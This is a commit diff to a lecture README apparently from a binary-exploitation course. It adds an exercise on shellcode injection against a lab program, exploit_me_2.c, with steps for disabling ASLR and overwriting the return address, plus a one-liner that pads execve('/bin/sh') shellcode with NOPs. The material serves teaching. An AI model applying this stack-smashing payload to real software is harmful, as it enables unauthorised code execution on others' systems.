Update lecture 2 readme

Lecture2/README.md

@@ -232,6 +232,15 @@ Segmentation fault (core dumped)
 
 :smile: we exploited the buffer overflow.  
 
-#### Try to solve exploit_me_2.c :smile:
+#### Try to solve exploit\_me\_2.c `Shellcode injection` :smile:
+* Diable ASLR.
+* Find the starting address of the buffer using GDB.
+* Over flow stack in such a way that return address is starting address of the
+buffer.
+* The buffer should contain the shellcode.  
+The exploit might look like this:  
+```bash
+./second `python -c 'import struct;shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; bufferlen=108; print shellcode+"\x90"*(bufferlen-len(shellcode))+"BBBB"+struct.pack("<I", starting address of the buffer)'` 
+```